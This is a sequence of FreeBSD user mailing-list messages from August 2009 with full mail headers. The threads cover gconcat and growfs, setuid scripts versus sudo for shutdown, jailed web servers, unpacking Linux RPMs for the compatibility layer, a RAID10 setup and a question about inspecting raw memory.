(8.14.2/8.14.2/Submit) id n7S9tS56030140; Fri, 28 Aug 2009 11:55:28 +0200 (CEST) (envelope-from mail25@bzerk.org) Date: Fri, 28 Aug 2009 11:55:28 +0200 From: Ruben de Groot To: Nikos Vassiliadis Message-ID: <20090828095527.GA30068@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Nikos Vassiliadis , RW , jalmberg@identry.com, freebsd-questions@freebsd.org References: <20090826142221.0807dc75@gumby.homeunix.com> <4A953EF3.5010305@gmx.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4A953EF3.5010305@gmx.com> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, SUBJECT_FUZZY_TION autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Fri, 28 Aug 2009 11:55:33 +0200 (CEST) Cc: jalmberg@identry.com, RW , freebsd-questions@freebsd.org Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 09:55:35 -0000 On Wed, Aug 26, 2009 at 04:56:03PM +0300, Nikos Vassiliadis typed: > RW wrote: > >On Wed, 26 Aug 2009 08:45:47 -0400 > >John Almberg wrote: > > > > > >>Question: is it possible to just expand my existing /backup > >>partition to encompass both the current drive and the new drive? I'm > >>guessing not, since Chapter 8 in "Absolute FreeBSD" says that a > >>partition is part of a slice, > > > >You can join 2 partitions into 1 with gconcat. OTOH that would wipe any > >existing data as you would need to put a new filesystem on the combined > >partition. > > No, you can always use growfs to expand the filesystem. > But of course, the usual warnings apply, read carefully the > growfs manual... You can not use growfs to expand a gconcat provider to the new gconcat device. Ruben From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 10:31:57 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A7D0C106564A for ; Fri, 28 Aug 2009 10:31:57 +0000 (UTC) (envelope-from j.mckeown@ru.ac.za) Received: from a.mail.ru.ac.za (a.mail.ru.ac.za [IPv6:2001:4200:1010::25:1]) by mx1.freebsd.org (Postfix) with ESMTP id 0609B8FC1E for ; Fri, 28 Aug 2009 10:31:56 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ru-msa; d=ru.ac.za; h=Received:From:Organization:To:Subject:Date:User-Agent:References:In-Reply-To:X-Face:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id:X-Virus-Scanned:X-Authenticated-User; b=o7c/SyIz2f3mipARXDQigf+MxUWBlVQKBZYraS9bo7Ov3eeRW7l2PILgDlmXp5qE/5lh7qRYU+dxPa/EGVGwT26KR962LM6d5PD/4dDLvYmJFPuAHVMJq5fk1uNf5uCW; Received: from vorkosigan.ru.ac.za ([2001:4200:1010:1058:219:d1ff:fe9f:a932]:57570) by a.mail.ru.ac.za with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgykK-000M1F-Ky for freebsd-questions@freebsd.org; Fri, 28 Aug 2009 12:31:52 +0200 From: Jonathan McKeown Organization: Rhodes University To: freebsd-questions@freebsd.org Date: Fri, 28 Aug 2009 12:31:52 +0200 User-Agent: KMail/1.9.10 References: <87y6p4pbd0.fsf@kobe.laptop> In-Reply-To: <87y6p4pbd0.fsf@kobe.laptop> X-Face: $@VrUx^RHy/}yu]jKf/<4T%/d|F+$j-Ol2"2J$q+%OK1]&/G_S9(=?utf-8?q?HkaQ*=60!=3FYOK=3FY!=27M=60C=0A=09aP=5C9nVPF8Q=7DCilHH8l=3B=7E!4?= =?utf-8?q?2HK6=273lg4J=7Daz?=@1Dqqh:J]M^"YPn*2IWrZON$1+G?oX3@ =?utf-8?q?k=230=0A=0954XDRg=3DYn=5FF-etwot4U=24b?=dTS{i X-Virus-Scanned: a.mail.ru.ac.za (2001:4200:1010::25:1) X-Authenticated-User: s0900137 from vorkosigan.ru.ac.za (2001:4200:1010:1058:219:d1ff:fe9f:a932) using auth_plaintext Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 10:31:57 -0000 On Friday 28 August 2009 10:54:19 Giorgos Keramidas wrote: > On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo wrote: > > Hi folks! > > > > Im trying to set up a reaaallly basic scrip to allow one user to shutdown > > my machine without root permisions, seting up SUID as follows: > [snip] > > The good thing is that you don't need a shell script to do that. You > can install `sudo' and give permission to the specific user to run: > > sudo shutdown -p now Or (assuming it doesn't grant too many other privileges) just put the user in group operator. From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 10:45:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C351A1065670 for ; Fri, 28 Aug 2009 10:45:21 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id 350F48FC08 for ; Fri, 28 Aug 2009 10:45:21 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id n7SAjG85030364; Fri, 28 Aug 2009 12:45:16 +0200 (CEST) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.14.2/8.14.2/Submit) id n7SAjGQW030363; Fri, 28 Aug 2009 12:45:16 +0200 (CEST) (envelope-from mail25@bzerk.org) Date: Fri, 28 Aug 2009 12:45:16 +0200 From: Ruben de Groot To: APseudoUtopia Message-ID: <20090828104516.GB30068@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , APseudoUtopia , freebsd-questions@freebsd.org References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> <200908271135.13045.erich@apsara.com.sg> <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> <6201873e0908270803k639b4742w1211d686607f7e9@mail.gmail.com> <27ade5280908270928s256bed30s2cc75587b22577b1@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <27ade5280908270928s256bed30s2cc75587b22577b1@mail.gmail.com> User-Agent: Mutt/1.4.2.3i X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ei.bzerk.org X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0.1 (ei.bzerk.org [127.0.0.1]); Fri, 28 Aug 2009 12:45:20 +0200 (CEST) Cc: freebsd-questions@freebsd.org Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 10:45:21 -0000 On Thu, Aug 27, 2009 at 12:28:26PM -0400, APseudoUtopia typed: > Two more questions then I should be ready to go with my jail(s). > > In order to minimize the HDD space of the jail, can I add things in my > src.conf such as > WITHOUT_BOOT, WITHOUT_ACPI, WITHOUT_PF? Yes you can. Another option is to use read only nullfs mounts for e.g. /usr, /lib, /sbin/ /bin to populate the jail. That will cost you no HDD space at all. The ezjail port, allready mentioned, can more or less automate this. > I do use pf on the host system, but it isn't needed inside the jail as > well, correct? Rather, it's not possible to use inside a standard (non-vimage) jail. There's only one network stack. > Also, is it possible to compile a port (specifically nginx) inside the > host, then simply cp it into the jail and run it? I'd like to do this > to avoid installing a compiler into the jail itself. make package-recursive Ruben > Thanks again for the help. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 10:57:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D4F6F1065679 for ; Fri, 28 Aug 2009 10:57:05 +0000 (UTC) (envelope-from bsam@ipt.ru) Received: from services.ipt.ru (services.ipt.ru [194.62.233.110]) by mx1.freebsd.org (Postfix) with ESMTP id 922268FC1B for ; Fri, 28 Aug 2009 10:57:05 +0000 (UTC) Received: from bb.ipt.ru ([194.62.233.89]) by services.ipt.ru with esmtp (Exim 4.54 (FreeBSD)) id 1Mgz8h-000DpD-FG; Fri, 28 Aug 2009 14:57:03 +0400 From: Boris Samorodov To: Jeff Laine References: <20090828090628.GA57211@free.bsd.loc> Date: Fri, 28 Aug 2009 14:57:04 +0400 In-Reply-To: <20090828090628.GA57211@free.bsd.loc> (Jeff Laine's message of "Fri, 28 Aug 2009 13:06:28 +0400") Message-ID: <89369855@bb.ipt.ru> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: linux_base installation - missing rpm binary X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 10:57:05 -0000 On Fri, 28 Aug 2009 13:06:28 +0400 Jeff Laine wrote: > I've just installed the emulators/linux_base-f10 port in order to run some > rpm-based applications. > Various online manuals told me that one should not use the native freebsd rpm > binary (archivers/rpm), but instead use the /compat/linux/bin/rpm. But there's > no such rpm binary under /compat/linux tree. What am I doing wrong? XD FreeBSD has it's own package manager and it is used to track all ports (linux ports as well). So we don't use linux rpm database (it is not supported). Said that I might add that it doesn't mean that this won't work if you try. But you'll be at your own here. If you need to install a linux rpm archieve you should do as root: # cd /compat/linux # rpm2cpio -q < linux.rpm.archieve | cpio -id Then brandelf any binary executable (not libraries!). Sure you won't be able to do a clean uninstall. But that may help you to do your tests. The best way is to create an apropriate port and use it. Creating a linux port is not hard task. Please take a look at the ports tree (audio ports may be a good starting points as examples). HTH > I'm running vanilla FreeBSD-7.2-RELEASE, fresh ports tree. BTW, I'm sure you have read /usr/ports/UPDATING and do have an apropriate variables at /etc/make.conf. ;-) -- WBR, Boris Samorodov (bsam) Research Engineer, http://www.ipt.ru Telephone & Internet SP FreeBSD Committer, http://www.FreeBSD.org The Power To Serve From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 10:58:50 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0C52B1065672 for ; Fri, 28 Aug 2009 10:58:50 +0000 (UTC) (envelope-from freebsd@optimis.net) Received: from mail.optimis.net (mail.optimis.net [69.104.191.124]) by mx1.freebsd.org (Postfix) with ESMTP id B05B18FC1F for ; Fri, 28 Aug 2009 10:58:49 +0000 (UTC) Received: from marvin.optimis.net (marvin.optimis.net [192.168.1.3]) by mail.optimis.net (8.14.3/8.14.2) with ESMTP id n7SAwmml060326 for ; Fri, 28 Aug 2009 03:58:48 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: from marvin.optimis.net (localhost [127.0.0.1]) by marvin.optimis.net (8.14.3/8.14.3) with ESMTP id n7SAwmGf004655 for ; Fri, 28 Aug 2009 03:58:48 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: (from george@localhost) by marvin.optimis.net (8.14.3/8.14.3/Submit) id n7SAwm4L004654 for freebsd-questions@freebsd.org; Fri, 28 Aug 2009 03:58:48 -0700 (PDT) (envelope-from freebsd@optimis.net) Date: Fri, 28 Aug 2009 03:58:48 -0700 From: George Davidovich To: freebsd-questions@freebsd.org Message-ID: <20090828105848.GA4410@marvin.optimis.net> References: <87y6p4pbd0.fsf@kobe.laptop> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.19 (2009-01-05) Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 10:58:50 -0000 On Fri, Aug 28, 2009 at 10:01:54AM +0100, Jeronimo Calvo wrote: > 2009/8/28 Giorgos Keramidas > > On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo > wrote: > > > > > > Im trying to set up a reaaallly basic scrip to allow one user to > > > shutdown my machine without root permisions, seting up SUID as > > > follows: > > > > > > -rwsrwxr-- 1 root wheel 38 Aug 27 23:12 apagar.sh > > > > > > $ ./apagar.sh > > > > > > Permission denied > > > > > > content of script: > > > > > > cat apagar.sh > > > > > > ]#!/usr/local/bin/bash > > > shutdown -p now > > > > > > As far as i know, using SUID, script must runs with root > > > permissions... so i shoudnt get "Permission denied", what im doing > > > wrong?? > > > > No it must not. There are security reasons why shell scripts are not > > setuid-capable. You can find some of them in the archives of the > > mailing list, going back at least until 1997. > > > > The good thing is that you don't need a shell script to do that. You > > can install `sudo' and give permission to the specific user to run: > > > > sudo shutdown -p now > > so SUID can be applied to sh but it doesn't work!, there is not anyway > to apply it? apart from installing sudo?, The thing is that installing > sudo and adding that user into sudoers, that user will be capable to do > any other SU tasks, apart of shutting down... wich i dont like :D (I > know that SUID could be even worst if they edit the .sh file... but lets > believe they dont even know that XD) Please refrain from top-posting. It's both confusing and inconsiderate for anyone trying to read what you write or otherwise trying follow a discussion. First, as has already been pointed out, your approach is A Really Bad Idea and will lead nowhere so forget it. Second, you're misunderstanding sudo. From sudo(8): sudo allows a permitted user to execute a command as the superuser or another user, as specified in the sudoers file. Note the "as specified". For example, if the sudoers file contains nothing but john ALL= NOPASSWD: /usr/sbin/shutdown then John (and only John) can use sudo to execute /usr/sbin/shutdown, but can't use sudo to execute any other commands. As an alternative to installing sudo, you can add your user to the operator group: pw groupmod operator -m john but be sure to understand the ramifications before doing so. -- George From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 11:08:44 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 22DA1106566B for ; Fri, 28 Aug 2009 11:08:44 +0000 (UTC) (envelope-from dharma66@gmail.com) Received: from mail-yw0-f175.google.com (mail-yw0-f175.google.com [209.85.211.175]) by mx1.freebsd.org (Postfix) with ESMTP id D8A378FC08 for ; Fri, 28 Aug 2009 11:08:43 +0000 (UTC) Received: by ywh5 with SMTP id 5so2504455ywh.13 for ; Fri, 28 Aug 2009 04:08:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type; bh=pzDQggG6/gp6oCOw5uaoePXZDYN+vHgAJ5ge7gYgvpQ=; b=ZVmm6LNXqBYvb11KN4veS25KpczIOIWE/X7WwZ65Yjo4dETyb10VCEw8U0bZFKT7ch Z8Fv9jaTyFxWHlXCmUDOV0eAwabyItfsxWDfyGzKItR62zsT8UrEbdWhCMcJWVb9/KN/ AiEVeP1zKjjXJgf6LXksz62e0VZnSyeGmMSto= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type; b=xOEGzSioFAKaLktA235dC8Ey7IfIMY2LXCWKZHOI4OQCdkc3kqa01OFTu94AYZAF8j jcSaY5QBxaWaSXWCfPKlQR/ceue1j+EtBL6O5OLXf3Rt5T6hYDcRlhmZ/Ff+5QLd0zaj yYlVLSqJyQawkA7w0TGFNPoGYfBMXHX4gMWVI= MIME-Version: 1.0 Received: by 10.101.50.19 with SMTP id c19mr794988ank.197.1251457723066; Fri, 28 Aug 2009 04:08:43 -0700 (PDT) From: Phil Lewis Date: Fri, 28 Aug 2009 12:08:23 +0100 Message-ID: <55fa7b3a0908280408k49bc0a6i8110647152da13b1@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: RAID10 setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 11:08:44 -0000 We got there! Thanks for the encouragement. It took a few more steps, and I couldn't get geom_mirror or geom_stripe to kldload from the Fixit environment and so did it all from a clean install instead. All that remains is to move my /usr onto the new file system. It worked. Thanks again Phil -- Ram Ram From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 11:54:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E62E8106566C for ; Fri, 28 Aug 2009 11:54:13 +0000 (UTC) (envelope-from wtf.jlaine@gmail.com) Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209]) by mx1.freebsd.org (Postfix) with ESMTP id 716F58FC23 for ; Fri, 28 Aug 2009 11:54:13 +0000 (UTC) Received: by ewy5 with SMTP id 5so1050889ewy.36 for ; Fri, 28 Aug 2009 04:54:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:received:date:from:to:cc :subject:message-id:mail-followup-to:references:mime-version :content-type:content-disposition:in-reply-to:user-agent :x-operating-system; bh=7pLbpnlDo/P+EkQl4wnYlfT6gE+/E4VaA3ilK0hbO8c=; b=K8yyUMALQ6WalqpMEV7GJX3mn4f4VOjUzB+m0IvesbsPFDvyd4J7Hi+/JMmeiJvO2W ISoYRUT+DRqFV76ZKD32cWebNYvkvvUbC7cw3GLL7XltJS9LX7dokVeLa0+baL1lv+hL 6GV/D8m3zJtQvnuTRQbIXqv4s1LylwwN6FOIQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent:x-operating-system; b=FWrwXkcCdR0245Q5H12YjKGbzFIQaV5HnBv7/yeftrLUXEvBeOolvk3sxFwcssI0E4 ID9qp3VOZdPidMugv0hHzd8qC+GsizZx15Uukmv2qH0Xw4Ja5D531YkZWsohgj595aXn 8DJurI0nyaOOAq1FWV/TILngHxKnMZd9v19Ik= Received: by 10.211.129.20 with SMTP id g20mr1176713ebn.12.1251460451344; Fri, 28 Aug 2009 04:54:11 -0700 (PDT) Received: from aperture_lab ([77.66.145.99]) by mx.google.com with ESMTPS id 10sm2152772eyd.29.2009.08.28.04.54.09 (version=SSLv3 cipher=RC4-MD5); Fri, 28 Aug 2009 04:54:10 -0700 (PDT) Received: by aperture_lab (sSMTP sendmail emulation); Fri, 28 Aug 2009 15:54:05 +0400 Date: Fri, 28 Aug 2009 15:54:05 +0400 From: Jeff Laine To: Boris Samorodov Message-ID: <20090828115405.GA59475@free.bsd.loc> Mail-Followup-To: Jeff Laine , Boris Samorodov , freebsd-questions@freebsd.org References: <20090828090628.GA57211@free.bsd.loc> <89369855@bb.ipt.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <89369855@bb.ipt.ru> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 8.0-BETA2 i386 Cc: freebsd-questions@freebsd.org Subject: Re: linux_base installation - missing rpm binary X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 11:54:14 -0000 On Fri,28-08-2009 [14:57:04], Boris Samorodov wrote: > On Fri, 28 Aug 2009 13:06:28 +0400 Jeff Laine wrote: > > > I've just installed the emulators/linux_base-f10 port in order to run some > > rpm-based applications. > > Various online manuals told me that one should not use the native freebsd rpm > > binary (archivers/rpm), but instead use the /compat/linux/bin/rpm. But there's > > no such rpm binary under /compat/linux tree. What am I doing wrong? XD > > FreeBSD has it's own package manager and it is used to track > all ports (linux ports as well). So we don't use linux rpm > database (it is not supported). Said that I might add that it > doesn't mean that this won't work if you try. But you'll be at > your own here. > > If you need to install a linux rpm archieve you should do > as root: > # cd /compat/linux > # rpm2cpio -q < linux.rpm.archieve | cpio -id > Then brandelf any binary executable (not libraries!). > > Sure you won't be able to do a clean uninstall. But that > may help you to do your tests. > > The best way is to create an apropriate port and use it. > Creating a linux port is not hard task. Please take a look > at the ports tree (audio ports may be a good starting points > as examples). > > HTH > > > I'm running vanilla FreeBSD-7.2-RELEASE, fresh ports tree. > > BTW, I'm sure you have read /usr/ports/UPDATING and do have an > apropriate variables at /etc/make.conf. ;-) > Sure, I did. ;) Thanks for the answer, I've used cpio to unpack my rpms. And another related question if you don't mind. I've unpacked my apps under /compat/linux tree but my binary requires shared X libraries: >nsdexec: error while loading shared libraries: libgtk-x11-2.0.so.0: cannot > open shared object file: No such file or directory >error while loading shared libraries: libXt.so.6: cannot open shared > object file: No such file or directory I've tried to install x11/linux-f10-xorg-libs port but brandelf tells me they are BSD-binaries incompatible with my linux stuff. And thus my app can't start complaining on incompatibilities if I tune lib paths. Any hints? TIA. -- Best regards, Jeff | "Nobody wants to say how this works. | | Maybe nobody knows ..." | | Xorg.conf(5) | From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 12:15:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4E046106564A for ; Fri, 28 Aug 2009 12:15:06 +0000 (UTC) (envelope-from bsam@ipt.ru) Received: from services.ipt.ru (services.ipt.ru [194.62.233.110]) by mx1.freebsd.org (Postfix) with ESMTP id 0A56E8FC19 for ; Fri, 28 Aug 2009 12:15:05 +0000 (UTC) Received: from bb.ipt.ru ([194.62.233.89]) by services.ipt.ru with esmtp (Exim 4.54 (FreeBSD)) id 1Mh0MC-000Em6-Fw; Fri, 28 Aug 2009 16:15:04 +0400 From: Boris Samorodov To: Jeff Laine References: <20090828090628.GA57211@free.bsd.loc> <89369855@bb.ipt.ru> <20090828115405.GA59475@free.bsd.loc> Date: Fri, 28 Aug 2009 16:15:05 +0400 In-Reply-To: <20090828115405.GA59475@free.bsd.loc> (Jeff Laine's message of "Fri, 28 Aug 2009 15:54:05 +0400") Message-ID: <57205174@bb.ipt.ru> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: linux_base installation - missing rpm binary X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 12:15:06 -0000 On Fri, 28 Aug 2009 15:54:05 +0400 Jeff Laine wrote: > I've unpacked my apps under /compat/linux tree but my binary requires > shared X libraries: > >nsdexec: error while loading shared libraries: libgtk-x11-2.0.so.0: cannot > > open shared object file: No such file or directory This library is a part of x11-toolkits/linux-gtk2 port. > >error while loading shared libraries: libXt.so.6: cannot open shared > > object file: No such file or directory > I've tried to install x11/linux-f10-xorg-libs port Good. > but brandelf tells me As I've wrote at my previuos email, brandelf should be used only with binary executives. Don't use it for libraries. You have been warned! ;-) > they are BSD-binaries incompatible with my linux stuff. And thus my app > can't start complaining on incompatibilities if I tune lib paths. You should not tweak paths untill absolutely needed (and if you really understand what you do). Lunuxulator should DRT if a needed library is present. In case of errors submit them here (or better even to freebsd-emulation@ ML, since more people may help there). -- WBR, Boris Samorodov (bsam) Research Engineer, http://www.ipt.ru Telephone & Internet SP FreeBSD Committer, http://www.FreeBSD.org The Power To Serve From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 12:43:35 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9FCA91065780 for ; Fri, 28 Aug 2009 12:43:35 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: from smtp.ibctech.ca (v6.ibctech.ca [IPv6:2607:f118::b6]) by mx1.freebsd.org (Postfix) with SMTP id F30618FC19 for ; Fri, 28 Aug 2009 12:43:34 +0000 (UTC) Received: (qmail 55264 invoked by uid 89); 28 Aug 2009 12:45:14 -0000 Received: from unknown (HELO ?IPv6:2607:f118::5?) (steve@ibctech.ca@2607:f118::5) by 2607:f118::b6 with ESMTPA; 28 Aug 2009 12:45:14 -0000 Message-ID: <4A97D0EE.4070304@ibctech.ca> Date: Fri, 28 Aug 2009 08:43:26 -0400 From: Steve Bertrand User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: "freebsd-questions@freebsd.org Questions -" X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms020506060709030904080705" Subject: Reading raw memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 12:43:35 -0000 This is a cryptographically signed message in MIME format. --------------ms020506060709030904080705 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi all, I'm wondering if FreeBSD allows direct access to memory. What I'd like to do is try to force a Perl application to leak memory by simulating a dangling pointer that it's garbage collection system can't clean up. I'd then like to look at the raw memory address to find out if the data is in a state where it could later be retrieved. Is accessing memory like this permitted within the OS? If so, what type of editor would be used to do such a thing? Perhaps a snip of C code that one could pass in the address as a parameter? Steve --------------ms020506060709030904080705 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII/zCC AtowggJDoAMCAQICEEs5xg/J3t77QWJ4SatV1HcwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA5MDUwNzIzMTYxMFoX DTEwMDUwNzIzMTYxMFowQjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEfMB0G CSqGSIb3DQEJARYQc3RldmVAaWJjdGVjaC5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAJSTRAjP1RVa87/mnZn+PBTbENgyhhBJ4rWApmaNcthzRdk2DB/49KrXx3EQP60w Lj4KU0DFkiGNVj9BnVxRAx/WDXKxGC3uGGEG6gjyWv8KFMWMsH9mL7y7uNow1HueT6pZUf9o yY8Ewd+01QpGi7FfXOae7lGHhbEwnEJGwz08ytRfLmH0KtEzlZanZZhwDGX5s1kIHnyxdACh 3byXY6Z2bOrx0rcrQHCnHJppxddR60F7igjaMuBFstE51h9XTgXDNKJbglqTug5ghGihNuP6 VsBN7ue62y96UGIE22TvKEcAQ665vQGjHqZeSzZYy+hWNOa27pWFmhlqFjx0x8MCAwEAAaMt MCswGwYDVR0RBBQwEoEQc3RldmVAaWJjdGVjaC5jYTAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3 DQEBBQUAA4GBAMOmjxjp2Xzk6ZHLwTgFDzVhm98RjRT3UXotKjNIR7SgwfWF5wkJrx4I+dXu ui5ztMEq4bTTRgJ344MqE6uZiZlg+tBIFHZGCJfKdzsX4QuV2jmw0sR5dMaYxG6tlDB0YUMv gTqzV7ZDpiusTMOZe9pP1PdxFhOcIJXtMQDj5LhuMIIC2jCCAkOgAwIBAgIQSznGD8ne3vtB YnhJq1XUdzANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDkwNTA3MjMxNjEwWhcNMTAwNTA3MjMxNjEwWjBCMR8wHQYD 